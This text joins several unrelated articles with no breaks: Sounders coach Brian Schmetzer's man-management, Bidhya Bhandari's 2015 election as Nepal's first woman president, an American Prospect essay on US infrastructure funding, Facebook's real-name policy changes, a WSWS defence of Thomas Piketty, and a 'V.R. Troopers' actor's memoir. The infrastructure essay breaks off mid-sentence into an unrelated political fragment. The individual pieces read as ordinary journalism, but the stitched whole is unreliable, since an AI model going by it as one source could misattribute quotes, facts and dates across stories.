Midfielder Cristian Roldan simply said that the “mentality” of the players has been the most palpable change, and that head coach Brian Schmetzer’s style of coaching was a big part of it.
Aside from his “smart soccer” style of coaching tactics and individual roles, what stands out about Schmetzer’s style is his unique brand of man management. Roldan referred to Schmetzer as a “players’ coach,” which is a pretty broad term that means different things to different players. But for Roldan, what makes Schmetzer so appealing to players is his availability: “He’s a guy that you can have a conversation with. If you want a meeting with him, you’ll have a meeting with him.”
When asked about why he thinks Roldan would refer to him as a players’ coach, Schmetzer revealed that, immediately after taking charge of the team, he told the players two things.
“My messaging from day one [to the players] has been ‘it’s your team, and you have to shoulder responsibility for things that go well and also things that don’t go so well,’” Schmetzer said. In doing so, Schmetzer said he believes he has imparted to the players that every one of them holds some ownership of the team as a whole.
It’s clearly working. Roldan also noted Schmetzer’s openness and accessibility as a coach helps make every player feel accountable for their own actions and how the team performs.
“Players’ coach can mean a lot of things,” Schmetzer said. “But it’s basically making them feel appreciated when they do the hard work, and making sure you hold them accountable.”
It’s also interesting that Schmetzer has been able to implement his ideas into the team so quickly. The rapport he already had with the team helps, but to shift the team away from the doldrums they were in when he took charge isn’t exactly easy. Roldan mentioned that “from day one, he explained himself. He said this is how it’s going to be, we’re going to do it this way, there’s no other way.”
This could have been a disaster; sometimes new managers come into a team and demand the world immediately when it’s nearly impossible to do so. But Roldan said the players quickly “bought into” Schmetzer’s new system of both on-field tactics and off-field management.
If nothing else, it seems that the connection between Schmetzer and his players is strong and unique—there’s a level of trust and comfort that most managers are dying to have. It obviously helps when the results reinforce the hard work done in training and in matches, but it’s clear that the team has finally come together as a group and are motivated to not come out of the 2016 season empty-handed.Vice-chairperson of ruling Communist Party of Nepal-Unified Marxist Leninist, Bidhya Bhandari, was elected on Wednesday as Nepal’s first woman President.
The 53-year-old widow of popular communist leader Madan Bhandari secured 327 votes to defeat Nepali Congress candidate Kul Bahadur Gurung, who secured 214 votes, by a margin of 113 votes.
“I congratulate newly elected President Bidhya Bhandari and offer my best wishes for a successful tenure,” Speaker Onsari Gharti Magar announced in parliament after the counting of votes.
According to parliament officials, 549 of the total 597 lawmakers took part in the election. Forty-eight others including those from Madhesi parties protesting against the new constitution abstained.
Bhandari, who was elected a month after the country adopted the statute, will replace Ram Baran Yadav, Nepal’s first head of state after monarchy was abolished in 2008.
A communist with over three decades of political experience since her student days, Bhandari had withdrawn from active politics after getting married to CPN-UML general secretary Madan Bhandari.
She returned to the political mainstream after the death of her husband in a motor vehicle accident in 1993. Bhandari has held several important ministerial portfolios in the past.
The newly elected President is a close associate of Prime Minister Khadga Prasad Oli, who is also the chairman of CPN-UML, and her name to the top post was suggested by him.
Like Oli, she too was critical of the ongoing agitation in Madhes against demarcation of federal states. Bhandari also faced flak from women rights groups for supporting anti-women citizenship provisions in the statute.
Her candidature was supported by 14 parties represented in parliament including coalition partners Unified Communist Party of Nepal (Maoist), Rastriya Prajatantra Party-Nepal and Madhesi Janadhikar Forum-Democratic.
First Published: Oct 28, 2015 17:08 ISTThis article appears in the Fall 2016 issue of The American Prospect magazine. Subscribe here.
The Great Depression stimulated America’s first major investments in modern infrastructure. Undertakings like the Hoover Dam, LaGuardia Airport, the Lincoln Tunnel, the Golden Gate Bridge, and thousands of lesser-known road, rail, sewer, waterway, levee, and energy projects put millions of people back to work and transformed the American landscape. These marvels of American 20th-century infrastructure have long since ceded pride of place to European and Asian 21st-century state-of-the-art projects. Today, New Deal–era and even older assets barely keep the United States moving; many, if not most of them, have long since passed their useful lifespans.
The Great Recession brought the country to another crossroads on infrastructure. But where the New Deal went full throttle on innovation, President Barack Obama’s Rooseveltian instincts were curbed by 21st-century economic realities, obsession with deficits, and Republican intransigence. Most of the hundreds of billions in American Recovery and Reinvestment Act (ARRA) projects went to aid for cash-strapped states and to tax cuts for the middle class, not to long-term infrastructure. To stave off economic Armageddon, getting people back to work fast was the prime directive and shovel-ready was the mantra. “Timely, targeted, and temporary” meant uncomplicated highway projects. According to Casey Dinges of the American Society of Civil Engineers, only about $100 billion went to infrastructure, and about half of that went to transportation.
The gulf between the aspirational New Deal and the modest ARRA leaves Obama’s successor with a conundrum. The country’s infrastructure deficit demands a three-pronged response over the next decade: An accelerated maintenance program in sectors from aviation to waterworks, in tandem with the building of the next generation of infrastructure investments worthy of a major international economic power. There is also the need of financing a green transition.
Daniel Piraino/Creative Commons Roebling Wept: Building the new Tappan Zee Bridge over the Hudson on the cheap.
In 2013, the American Society of Civil Engineers’ quadrennial “Report Card for America’s Infrastructure” showed that the United States needed to invest $3.6 trillion by 2020, in 16 sectors, to raise the country’s overall score above a D+. It is doubtful that the next report card, due out in early 2017, will show substantial gains.
State and local office-seekers, not presidential candidates, are the ones who usually debate how much to spend on filling potholes, upgrading drinking and wastewater pipelines, and financing public improvements generally. But the subject came roaring into the 2016 presidential election with a ferocity that hasn’t been seen since Franklin Roosevelt bested Herbert Hoover. Moreover, in a presidential campaign noted for its unparalleled hostility, both Hillary Clinton and Donald Trump agree that the United States must spend more on infrastructure.
Despite Republicans’ continued insistence that Americans are weary of tax-and-spend Democratic policies, a 2015 American Public Transportation Association/Mineta Transportation Institute study found that 75 percent of Americans support increased spending on public transit infrastructure. This November, voters will consider state ballot initiatives totaling $200 billion on public transit investments alone.
Though voters may back the next president on increased infrastructure spending, Congress is not a willing partner. State transportation policy-makers greeted the passage of the five-year, $305 billion Fixing America’s Surface Transportation Act (the FAST Act) with enthusiasm, not because of its size (spending increases were small) but because states finally could count on a reliable stream of federal funds after years of short-term, sometimes last-minute, authorizations.
But keeping infrastructure assets in good repair is beyond the capacity of most states and localities. New York and New Jersey and their shared Port Authority are looking at a price tag of more than $20 billion on new Hudson River rail tunnels. New York will spend about $8 billion on LaGuardia Airport renovations and on rebuilding and completing the new Tappan Zee Bridge—which is being constructed on the cheap, just like its predecessor. New Jersey must find nearly $1.5 billion to renovate the Bayonne Bridge. States respond by stretching out investments, so projects such as New York’s Second Avenue Subway line that could be completed in years take decades—a tactic that adds costs by snarling traffic and inviting overruns.
Unfortunately, neither Clinton’s five-year, $275 billion plan nor Trump’s “at least double her numbers” calculation begin to address the trillions needed in leaky pipes, corroded tracks, decrepit trains, and faulty wiring, much less 21st-century smart grids, protections against sea-level rise, and innovative green investments.
IN A WORLD OF LOW INTEREST RATES, federal, state, and local officials should be moving aggressively to finance infrastructure investments. But so far, the perverse deficit obsession that is the legacy of the Great Recession has discouraged new debt financing, even for infrastructure. Of the dozens of transportation ballot initiatives before voters across the country this November tracked by the Center for Transportation Excellence, only a few questions involve bond issues; most of the others rely on increasing taxes.
In California, Proposition 53 proposes to strip state lawmakers’ authority to issue revenue bonds for projects above $2 billion. The measure, led by a multimillionaire grower and deficit hawk, Dean Cortopassi, is evidently aimed at blocking California’s debt-financed high-speed rail and the construction of two tunnels to convey water from northern to southern California.
Former Pennsylvania Democratic Governor Ed Rendell, a senior adviser to Clinton’s infrastructure policy team (which includes former Federal Aviation Administration Administrator Jane Garvey and former U.S. Department of Transportation Deputy Secretary John Porcari) recommends $2 trillion in government and private-sector spending on a ten-year infrastructure-revitalization program.
In the first 100 days, if Clinton is elected, Rendell would like to see a menu of short-term options, such as reviving the Build America Bonds program, strengthening a transportation financing program, ending prohibitions on new interstate highway tolls, and calling for an infrastructure bank. Longer-term proposals might include revisiting a capital budget for the federal government, an idea that has been repeatedly rejected. Trump has not, at the time this story went to press, provided a detailed infrastructure program.
The Obama administration’s Build America Bonds program, enacted as part of the stimulus, was quite popular. Rendell says there was a “gold rush” on the program before it ended. According to a 2011 U.S. Treasury Department report, the program issued $181 billion in bonds to states, the District of Columbia, and two territories, and saved them $20 billion in borrowing costs. Most municipal bonds are tax-exempt, but under the Build America Bonds program, the federal government paid a portion of the interest payments for the state or locality, reducing the payments they made. But the program added to the deficit and got shelved.
In 2011, Obama proposed allocating $10 billion to capitalize an infrastructure bank, setting financial parameters for carefully selected projects, and using private capital and local funds to leverage federal costs. Projects would be self-financing and selected by a seven-member board of governors, a framework akin to a Federal Reserve System for infrastructure. House Republican leaders declared the proposal dead on arrival.
Arizona Department of Transportation/Creative Commons Showing Its Age: Work is ongoing to connect Loop 303 with Interstate 10 in Goodyear, Arizona.
There are many questions and not enough clear answers: Would the bank work like a revolving loan fund with payback required? What master planning process should determine priorities for investments in transportation, water, and energy? How would the bank avoid (or perhaps co-opt) pork-barrel pressures? Can the president deploy a sophisticated political strategy to sway Congress?
An infrastructure bank bill would be a jurisdictional nightmare, says Beth Osborne, a Transportation for America senior policy adviser and former U.S. Department of Transportation official. “It is going to die in Congress because every committee has jurisdiction, but nobody has jurisdiction and nobody owns it,” she says. “That’s a bad legislative strategy.”
Rendell believes that the politics can be overcome. “If somebody lucidly and clearly explains how we can do this without impacting the federal deficit and without putting it up for a revenue vote, I think you’ve got a chance,” he says. But it’s hard to imagine winning support for an infrastructure bank—which does involve borrowing—without challenging the premise that debt-financing is always bad.
“We have to build some faith that what pays back the bonds that we use to finance infrastructure is going to be the increased economic activity that results from having a better economy that is better served by the kind of infrastructure that makes commerce possible,” says George McCarthy, the president of the Lincoln Institute of Land Policy, an independent Cambridge, Massachusetts, think tank.
If the basic set of assumptions is not changed, then the government will be thrown back on incremental expansions of existing approaches. That could include deeper coordination among existing federal loan programs, such as the Transportation Infrastructure Finance and Innovation Act (TIFIA), the Railroad Rehabilitation and Improvement Financing program, and the Water Infrastructure Finance and Innovation Act, so they could operate in concert as an “infrastructure bank lite,” says Robert Puentes, president and CEO of the Eno Center for Transportation.
“Infrastructure investments are off to the side, where they are unconnected to things like social-mobility goals or economic or environmental goals, [but] infrastructure is the common thread that cuts through all these things,” says Puentes. “If you are looking at doing housing, transit, and water investments in the same cities, by combining and coordinating them you get better bang for the buck, because we all know that these things are all connected anyway.”
On the transportation front, the FAST Act moved existing loan programs forward in the “lite” direction by steering them (along with an existing bond program and a new grant program) into a Build America Bureau that debuted in July. The bureau coordinates with the Office of Infrastructure Finance and Innovation that oversees the popular Transportation Investment Generating Economic Recovery (known as TIGER) grant program. By shaking up the Transportation Department’s organizational chart, in part to respond to past concerns about a lack of efficiencies and a lack of transparency, the department aims to improve coordination, provide more assistance to applicants, and get funding out the door faster. But there was one big step back, too: Congress slashed the well-regarded TIFIA program’s annual funding from $1 billion in 2015 to just under $300 million in 2016, rising only slightly in succeeding years—a 70 percent cut.
Kevin Rofidal, United States Coast Guard/Wikimedia Commons The 2007 Minnesota bridge collapse, last year’s Philadelphia Amtrak crash, the ongoing Washington, D.C., subway maintenance crisis, and the Flint drinking-water debacle failed to create national urgency on infrastructure investment. Here, cars rest on the collapsed portion of I-35W bridge, after the collapse.
INTEREST COSTS FOR A NEW debt-financed infrastructure initiative will never be lower than they are right now. With the Federal Reserve poised to raise rates, the next president faces a narrowing window of opportunity to move an agenda predicated on low borrowing costs. On the revenue side, there are only a few options that can pass political muster. Removing federal prohibitions on interstate tolls should be one of them. Since states handle tolling, federal deficit issues do not come into play. Such a shift also might compel state officials to start conversations about whether to continue to rely on a fuel tax or switch to a vehicle-miles-traveled or other user fee based on the amount of driving an individual does. “If you were looking to make a federal investment that would generate new revenues that states could then use to wean themselves off federal money, that would be the way to do it,” says Jim Aloisi, a former Massachusetts secretary of transportation.
Similarly, prodding Congress to use taxes collected for specific purposes in those areas would solve other problems. U.S. ports are constrained by poor water and land access. Increases in the size of ships and cargo volumes as a result of an expanded Panama Canal promise to create further bottlenecks. Only about half of the harbor maintenance tax established to fund navigation channel–maintenance activities like dredging by the U.S. Army Corps of Engineers (a much maligned but indispensable infrastructure-building agency) goes to those activities, since Congress has directed those revenues to other federal budget programs.
The best short-term federal revenue opportunity is the one that is the most controversial and consistently dead on arrival: increasing the federal fuel tax and linking it to inflation. The tax has not been raised since 1993. Congress keeps the Highway Trust Fund solvent with transfers from general revenues.
According to a 2013 Congressional Budget Office report, increasing the gasoline and diesel-fuel taxes by 35 cents a gallon and indexing them to inflation would generate roughly $450 billion over ten years. McCarthy of the Lincoln Institute argues that the United States is “backpedaling.” Low gas prices have stimulated rather than suppressed American driving habits. “If we care about climate, we should make it more costly to burn fuel, and just suck it up,” he says.
Eight states—Georgia, Idaho, Iowa, Michigan, Nebraska, South Dakota, Utah, and Washington—passed gas-tax increases in 2015. This year, Maryland and Washington state also authorized increases. Given the urgency on infrastructure spending, state lawmakers’ fears about voter retribution may have already peaked. A 2015 American Road and Transportation Builders Association analysis found that in 2014, 95 percent of Republican state lawmakers and 88 percent of Democratic state lawmakers who voted to approve state gas-tax increases in 2013 and 2014 won their 2014 re-election races.
“Why is there such a different perception on the political implications of casting a vote like that in Washington?” says Dinges of the American Society of Civil Engineers. “It’s been so long since they had a vote like that, how do they even know?”
Paradoxically, the demise of earmarks created a kind of black market in horse-trading that is even less transparent. Unlike their state and local counterparts who can link a sales-tax increase to a specific project, federal lawmakers aren’t able to spell out how a higher fuel tax benefits certain projects. The complexity of funding in sectors like transportation does not help members of Congress make a case for taxpayers to pay more, says Osborne of Transportation for America. “That just sows confusion, and confusion is not a good thing when you are asking people for money,” she says.
Yet federal lawmakers might think differently about a yes vote if they were able to see their state’s top maintenance and brand-new projects funded by a fuel-tax hike. Rendell would pitch allowing every state to submit a list of the most important rehabilitation and new projects that could get kickstarted with a fuel-tax increase.
Identifying the right mix of financing plans and sustainable revenues is only a first step. Scarce federal funds should flow to the most critical national projects in transportation, water, energy, and other sectors. Ideally, those would be undertakings that capture politicians’ attention and excite voters enough to pay for them. But which ones? A Treasury Department–commissioned, third-party report-in-progress aims to identify between 25 and 50 of the country’s most economically significant transportation and water infrastructure projects. (Typically, the transportation and water sectors involve more public dollars than others, such as energy, which is largely private.) Such a plan—one that links a national infrastructure strategy and well-vetted projects to sound financing and funding plans—along with a new president supporting a political course of action to move the whole enterprise forward, stands a better chance of getting serious attention from a skeptical public.
One piece of Obama’s stimulus legacy that offers a proven template for selecting and funding projects is the Department of Transportation’s TIGER grant program. Successful and popular (especially since it does not require state or local matching funds), the competitive annual grant program has bipartisan appeal, distributing more than $5 billion to various levels of government in all 50 states and several territories. It gives preference to projects of national, regional, or metropolitan-area significance, involving both private and public entities that span multiple communities and regions, and displays creative and collaborative problem-solving. There is a fierce and unmet demand for these grants. In 2016, the department received 585 project applications, adding up to $9 billion. Officials distributed $500 million to 40 projects that support nearly $2 billion in investments. Competition assures that funding goes to communities and entities that have done their homework. But it also highlights the need to assist communities that may not have the money or the people power to pull together a federal application.
THE 2007 MINNESOTA BRIDGE collapse, last year’s Philadelphia Amtrak crash, the ongoing Washington, D.C., subway maintenance crisis, and the Flint drinking-water debacle failed to create national urgency on infrastructure investment. Business leaders wring their hands over waning American competitiveness, but their appeals fail to make the connection to America’s outmoded infrastructure. European and Asian capitals may have sleeker buses that travel in dedicated lanes and high-speed intercity connections, but many Americans have not experienced public transportation outside the U.S.—only about 40 percent of Americans have passports —so extolling transit systems thousands of miles away from Main Street does not move the needle. Obama’s interest in generating excitement about infrastructure with initiatives like high-speed rail led Congress to parry his moves for reasons that had more to do with politics, ideology, and race than with America’s international competitiveness deficit.
Political scientist Richard Neustadt said that presidential power is “the power to persuade.” To promote his Interstate Highway System, Dwight Eisenhower appealed to national unity. “Together, the united forces of our communication and transportation systems are dynamic elements in the very name we bear—United States,” Eisenhower said in 1955. “Without them, we would be a mere alliance of many separate parts.” But Eisenhower ultimately managed to gain congressional support for the highway system—and a Highway Trust Fund to help maintain it— not by extolling the virtues of transportation or national unity but by linking it to national defense. Eisenhower’s success provides a road map: yoking important infrastructure investments to a credible rationale for them that gives federal lawmakers political cover and gives voters a mission they can get behind.
But the coarsening of contemporary political discourse has tarnished a president’s persuasive powers. Today, decaying infrastructure increases the nation’s vulnerability to natural disasters, terrorism, and other threats—national security issues that many federal lawmakers are eager to trumpet until it comes time to act. Whether a plan for substantive investments backed by sustainable funding actually gains traction in the first 100 days of the new administration depends on the new president’s ability to convince Congress that infrastructure matters now. Sustained infrastructure investments could begin to allay economic insecurities by using improved physical capital to build the human capital that is key to rebuilding the middle class.
Gage Skidmore/Creative Commons Unfortunately neither Clinton's five-year, $275 billion plan nor Trump's "at least double her numbers" calculation begin to address the trillions needed to bring American infrastructure into the 21st century. Here, Clinton speaking at a town hall in Manchester, New Hampshire.
Nevertheless, what stands between the new executive and infrastructure investment is not funding or lack of interest of average citizens; it is the disconnect between Congress and the rest of the country on spending priorities. Part of the problem is that some of the people who have come to Washington to make law repeat the canard that government is the problem and cannot not be trusted, regardless of the evidence that Americans rely on all levels of government to stave off or at least mitigate catastrophes, from hurricanes to recessions.
The next president has to hammer home strong messages over the cant from Washington partisans who are content to let America crumble. Launching transformative infrastructure investments begins with a philosophical shift that reworks attitudes toward government in order to identify the mechanisms required to unleash the trillions needed to start that work. States and localities do not have the resources, funds, or big-picture point of view to consistently deliver world-class infrastructure projects. Building infrastructure in the 21st century means tying a national economic program to infrastructure projects that provide good middle-class jobs for construction workers, planners, procurement specialists, and others, preferably before another decade goes by.
“There was a time when America was great as a result of good leadership, sound planning, and the ability to actually get people to see beyond short-term, narrow self-interest to longer-term kinds of benefits,” says McCarthy of the Lincoln Institute. “The middle class was created with infrastructure; people just don’t understand that. … We need a leader who can actually get people to see it.”
Despite natural and man-made disasters like Katrina and Flint, too few Americans have grasped the fact that we face an infrastructure emergency. Unlike the Great Depression, the financial collapse and the Great Recession created a psychology of public-sector austerity rather than a 1930s-style wave of new public investment.
What continues to escape America is the will to power forward, instead of being forced into action by a slow-rolling catastrophe. Can the next president cajole 535 lawmakers to think differently and imagine Eastern and Gulf coastal cities being hardened against sea-level rise with newly created wetlands, state-of-the-art flood barriers, drainage systems, permeable surfaces, and new construction, elevated and set back from shorelines? Or interior cities and towns keeping tabs on well-maintained levees?
Surely, in a wealthy country, drinking water can be clean and the pipes that convey it lead-free. The power grid can be smart—fully automated and backed up, with vastly improved transmission and distribution facilities and a vigorous cyber-security program that monitors threats, designs responses, and prepares the public for outages of all types. It’s not a stretch for the United States to have smooth and well-paved highways everywhere, mass transit that works, modern air-traffic control, or high-speed rail hugging the coasts from Maine to Florida and Washington state to southern California.
The price tag for these wonders easily runs in the tens of trillions of dollars. Yet what seems fiscally utopian is urgently needed. Can the next president provide the leadership to narrow that gap?
Eight Projects We Need
Hudson River “Gateway” Tunnel Rail Project: The Hudson Rail Tunnel is the only passenger rail link between New York’s Pennsylvania Station and Amtrak’s Northeast Corridor between Boston and Washington, D.C., the country’s most heavily traveled rail line. Hurricane Sandy flooded the Hudson River tunnels in 2012, which made a bad situation infinitely worse. Roughly 450 trains travel through the tunnel every weekday. The tunnel opened in 1910.
Chicago Region Environmental and Transportation Efficiency Program (CREATE): Consisting of 70 projects in northeastern Illinois, this freight and passenger-rail project aims to alleviate bottlenecks where the rail tracks intersect with roadways, and passenger and freight lines with each other. Freight transport suffers lengthy delays—it can take more than a day for freight rail to traverse the Chicago area, since passenger trains have priority. Delays through Chicago have cascading effects on freight transport through the rest of the country. As of June 2016, 27 of the projects have been completed; others are at various stages of completion, or are waiting for additional funding.
AP Photo/Gerald Herbert Water from the Mississippi River roars through the Old River Control Structure towards the Atchafalaya Basin in Concordia Parish, Louisiana, Tuesday, May 17, 2011.
Mississippi River Flood Control: Baton Rouge, which experienced historic flooding this summer, had federal flood-control projects that were never finished after massive floods in 1983. In December 2015, Missouri experienced historic flooding and nine levees were overtopped. Levees received a D- from the American Society of Civil Engineers. The extent of the national levee system is unknown and there is no national levee safety program. An increase in severe storms promises to exacerbate this issue.
Smart Grid: The 2009 stimulus prodded the United States toward an automated, digital, 21st-century answer to the country’s antiquated electricity distribution framework. It is a complex task—the private sector oversees much of the infrastructure, another group of companies and independent organizations transmits the power, and state utilities regulate prices. Major concerns include getting consumers to switch to smart meters and continuing research into energy-storage options, especially from renewable energy sources like wind and solar.
Interstate 10 Improvements: The fourth-longest U.S. interstate highway route runs from California to Florida. California and Arizona have launched major projects to relieve congestion in Los Angeles and Phoenix, and communities in other states along the 2,500-mile route are also pursuing new initiatives. Alabama officials are particularly eager to begin construction of a new span over the Mobile River.
Targeted High-Speed Rail: As President Obama discovered, high-speed rail is a national priority bogged down in congressional parochialism and regional resentments. The next administration should scale back |
Senate this month.
In his closing statement Paul made a plea to Iowa Republicans calling himself the “only true fiscal conservative” in the race.
Latest VideosFacebook has announced two changes to the way it enforces its real-name policy: the first is meant to ensure that fewer people are asked to prove they’re using the same name online that they use in real life; the second to make the verification process easier on the users who will still be required to confirm their identities.
The changes follow months of criticism from people endangered by Facebook’s real-name policy, such as activists or victims of domestic violence, and people whose names are unusual or who identify with a name other than the one they were given at birth. (Specific examples of these problems here, here, and here.)
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These complaints led to the creation of the “Nameless Coalition,” which advocated for Facebook to change its real-name policy to accommodate people who might need to use a “fake” name for their own protection or who identify with another name. Dozens of organizations and individuals supported the coalition’s goals.
Facebook’s Chris Cox previously apologized for the real-name policy’s failings and explained that it’s enforced because it’s “part of what made Facebook special in the first place” and it’s the “primary mechanism we have to protect millions of people every day, all around the world, from real harm,” as he wrote at the time.
Now, the company will require people to provide additional context when they report someone for using a fake name. “In the past, people were able to simply report a ‘fake name’ but now they will be required to go through several new steps that provide us more specifics about the report,” Facebook said today.
“This additional context will help our review teams better understand why someone is reporting a name,” product manager Todd Gage and vice president of global operations Justin Osofsky wrote in the announcement, “giving them more information about a specific situation.” And that’s not the only fix being made.
Facebook will also ask people to explain their situations when they’re reported for using a fake name. “People can let us know they have a special circumstance, and then give us more information about their unique situation,” Gage and Osofsky wrote. Facebook will consider this info when responding to the issue.
These changes still put the ultimate decision on a person’s identity in Facebook’s hands. The company has no intention of getting rid of the real-name policy, as it’s core to many Facebook services, and the fact remains that the social network will have the power to kick someone out if it thinks their identity isn’t authentic.
Still, better to make incremental changes that could help some people than to maintain the status quo because it refuses to nix the real-name policy. Facebook is still learning — there will doubtless be people who abuse the reporting tool to harass others, or who are erroneously flagged — and likely will be for some time.The Financial Times’ attack on Thomas Piketty
27 May 2014
In a series of articles over the past several days, and in a major editorial published on Monday, the Financial Times has launched a scurrilous attack on Thomas Piketty and his book, Capital in the Twenty-First Century.
The newspaper claims to have discovered serious flaws in data that undermine one of the book’s central themes—that wealth concentration is growing throughout the world, and in the United States and Europe in particular. A front-page article published over the weekend, provocatively headlined, “Thomas Piketty’s exhaustive inequality data turn out to be flawed,” asserts that the authors have found “unexplained data entries and errors in the figures underlying some of the book’s key charts.”
Before taking into account Piketty’s reply to these criticisms, the newspaper concludes that they are “sufficiently serious to undermine Prof. Piketty’s claim that the share of wealth owned by the richest in society has been rising and [quoting Piketty] ‘the reason why wealth today is not as unequally distributed as in the past is simply that not enough time has passed since 1945.’”
The World Socialist Web Site has basic theoretical and political differences with Professor Piketty, an opponent of Marxism who believes that social inequality can be addressed entirely through various reform measures. These criticisms will be treated in a separate review of his book and the response to it. However, the target of the FT’s attack is not these limitations, but the main strength of the book and Piketty’s work as a whole—the detailed examination of the growth of income and wealth inequality over the past fifty years.
The actual content of the allegations by the FT (focused on only one chapter in the book) bears no relationship to the sweeping conclusions that the newspaper attempts to draw from them. Among the flaws cited by the newspaper are apparent mistakes in data transcription and other minor issues that have no real significance. It also cites what it considers to be unexplained adjustments to data made as part of Piketty’s efforts to provide a unified portrait of wealth distribution over time. Such adjustments and assumptions are inevitable in assembling data from disparate sources, accumulated in different ways and in very different time periods—a fact that Piketty himself acknowledges.
Replying to the FT criticisms, Piketty noted that in the effort to be as transparent as possible, he made all his data available online and subject to public examination. Several assumptions that the professor made actually tend to underestimate, rather than overestimate, the level of wealth concentration. He notes, for example, that his estimates of wealth possessed by the rich do not “fully take into account offshore wealth, and are likely to err on the low side.”
The driving force behind the FT’s criticisms is transparently political in character. In its editorial on the subject, “Big questions hang over Piketty’s work,” the newspaper editors insist that the supposed problems in Piketty’s data “undermine his thesis that capitalism has a natural tendency for wealth to become ever more concentrated in the hands of the rich.” Incredibly, the newspaper asserts that because of the flaws in the data, there are “grounds to question the finding that the holding of wealth by the rich in Europe has increased since 1980. Without that result, there cannot be an iron law of capitalism that leads to ever rising inequality.”
Despite Piketty’s repeated assurances that he does not oppose the capitalist system (and does not, in fact, propose an “iron law” of inequality) the material he has gathered and presented in coherent form has clearly made the FT, and those for whom the newspaper speaks, very nervous. While they never mention the word, it is socialism that is on their minds.
In its attack on Piketty, the Financial Times is speaking for powerful sections of the financial aristocracy that sense the immense social tensions building up in Europe, the United States and internationally. They are well aware that they preside over an economic system that has lost credibility in the eyes of millions of people. Any acknowledgment of the illegitimacy of the vast wealth that has been accumulated by a tiny layer of the population is, from their standpoint, dangerous.
Inequality is not really a serious problem, they insist. To the extent that it exists, it is very likely justified. “There is a gulf of a difference between wealth derived from entrepreneurial skills and inheritance,” the editors write.
What “entrepreneurial skills” are responsible for the wealth of the modern-day aristocracy? For decades, the ruling class—led by the financial institutions in London and on Wall Street—have engaged in a massive orgy of speculation, ripping up entire industries to funnel money into the stock markets. Gigantic fortunes have been amassed through financial manipulation and semi-criminal or outright criminal activities. Since the 2008 crash, central banks have opened the taps to flood the financial system with cash at near-zero interest rates, re-inflating the speculative bubbles that produced the crisis.
The product of these policies is amply demonstrated—by Piketty and, as the author noted in his defense, many other sources as well. Most recently, the British Sunday Times published its annual rich list revealing that the richest 1,000 people in Britain have a combined wealth of £519 billion, an increase of 15.4 percent since last year and twice what it was in 2008. The wealth of these 1,000 individuals is now equivalent to a third of the entire country’s gross domestic product.
The 85 richest people in the world now control as much wealth as the bottom 50 percent. And the world’s 1,645 billionaires, according to Forbes, possess a combined net worth of $6.4 trillion, an increase of $1 trillion over 2013. In the United States, the richest 400 people increased their wealth in 2013 to $2 trillion, up 17 percent from the year before.
As for income inequality, the FT does not even address the exhaustive data accumulated by Piketty and his collaborators showing that an ever greater proportion of the world’s income is going to the top one and 0.1 percent, particularly in the United States and Europe. In the United States, the top one percent in 2012 monopolized 22.46 percent of all income, up from 19.65 percent a year before.
The FT attack on Piketty is an attempt to deal with the growth of class antagonisms by denying the significance of social inequality. Yet the facts remain—as do their explosive social and political consequences.
Joseph Kishore
Please enable JavaScript to view the comments powered by Disqus.It’s been almost 24 years since “Mighty Morphin Power Rangers” premiered on FOX in 1993 — and needless to say, the TV industry has changed quite a lot since then.
With Lionsgate’s new film in theaters, and the show producing continuously ever since on one network or another, it’s clear “MMPR” isn’t going anywhere anytime soon. And while the show’s longevity — in all its various iterations — has proven impressive, I’d like to walk you through my own experience, working on a short-lived “Power Rangers” spinoff series called “V.R. Troopers.”
The “Power Rangers” phenomenon took off almost immediately in 1993, showing just how brilliant Haim Saban and Shuki Levy were in banking on the simple formula of putting an American spin on Japan’s “Super Sentai” series.
A year after its premiere, Saban Entertainment went into expansion mode: Doing their best to bank on this very profitable TV formula. “V.R. Troopers” was the first sister show to head into production. This is where I come into the story…
For those who may not remember, “V.R. Troopers” followed three heroes: Ryan Steele (Brad Hawkins), J.B. Reese (Michael Hollander) and Kaitlyn Starr (Sarah Brown) as they jumped into the world of Virtual Reality to fight off Grimlord and his evil henchmen — continuing to keep our world safe from their constant meddling.
RELATED: 13 TV stars who got their start on ‘Power Rangers’
Just at the beginnings of my acting career, I was sent to Magic Movie Studios in Valencia, California — right across the freeway from Six Flags Magic Mountain. The role I was auditioning for was “Bradley Rooney,” the mayor’s obnoxiously nerdy nephew. For those who recall the show, the name of my character soon changed to “Percy.”
The evolution of the audition process
In 1994, the whole audition process was a different beast than it is today. Sure, actors are still given sides, or a portion of a script, to study and perform — but the way an actor’s representation submits their talent to casting has changed completely. These were the components of the audition process back then:
A hard-copy headshot A mailed-in or faxed submission That glorious moment casting calls you in Membership in the Screen Actors Guild (*maybe)
This is how I got in the door to read for “V.R. Troopers.” (“Maybe,” regarding SAG membership, because at the time “Power Rangers” and its inevitable sister shows — “Masked Rider,” “Big Bad Beetle Borgs,” etc. — were all non-union.)
RELATED: Bryan Cranston explains ‘Power Rangers’ to Larry King … and fails
I wish I could say things are just as simplistic now, but the Internet, social media and union politics have made breaking into the business a whole different challenge altogether. Those changes have indeed impacted the way the business works now:
Hard-copy headshots are a thing of the past. Actors must have a website and social media presence, and all submissions are done electronically. Because casting no longer views hard-copy headshot submissions, an actor’s face is limited to a simple thumbnail on a computer screen — which obviously makes it a lot tougher to stand out.
Saban shows being non-union meant not adhering to SAG rules meant paying his cast and crew on the cheap — which he did, and which in turn led to a boycott by SAG, and ultimately, “Power Rangers” became a union series after 1998. This didn’t effect any of the “V.R. Troopers” cast, but a few years after our show wrapped, I was able to join the union. To put things into perspective: In 1996, the fee to join the Screen Actor’s Guild was about $1200 dollars. In 2017, that price is $3,000.
Nerds are totally cool now
In 1994, nerds on television were not at all cool. I can speak on this first hand — Percy was the epitome of everything a ’90s TV nerd could be. Consider him a cross between Steve Urkel (Jaleel White) and Screech (Dustin Diamond) with a little bit of “Ace Ventura: Pet Detective” thrown in.
Throughout the first season of “V.R. Troopers,” Percy was merely the comedic foil on the show: Getting attacked by a xerox machine, falling down a flight of stairs head first, almost drowning in a lake, being literally waterboarded… You name it, and it probably happened to me.
RELATED: Elizabeth Banks is a fierce Rita Repulsa and other things we know about the ‘Power Rangers’ movie
Going out in public, though, a trend began to form: Kids couldn’t separate my on screen performance from the real me. Honestly, I lost count at the number of times a crowd of kids ran up and kicked me below the belt for the sake of comedy. It’s a funny visual, to be sure, but the network quickly recognized the messaging the show was delivering: If it was okay for the heroes to bully Percy, then that justified how kids treated their unpopular peers at school. That was just not okay. Needless to say, all that was toned down in Season 2.
It took a while, but the perception of nerds on television has changed. The extreme success of CBS’s “The Big Bang Theory” is a sign of this cultural shift. With the rise of comic-book entertainment and the surge in superhero TV shows, the nerd — in all his/her quirky glory — finally rose to the occasion and pop culture will never be the same. It only took 20 years, but somewhere Percy is cheering.
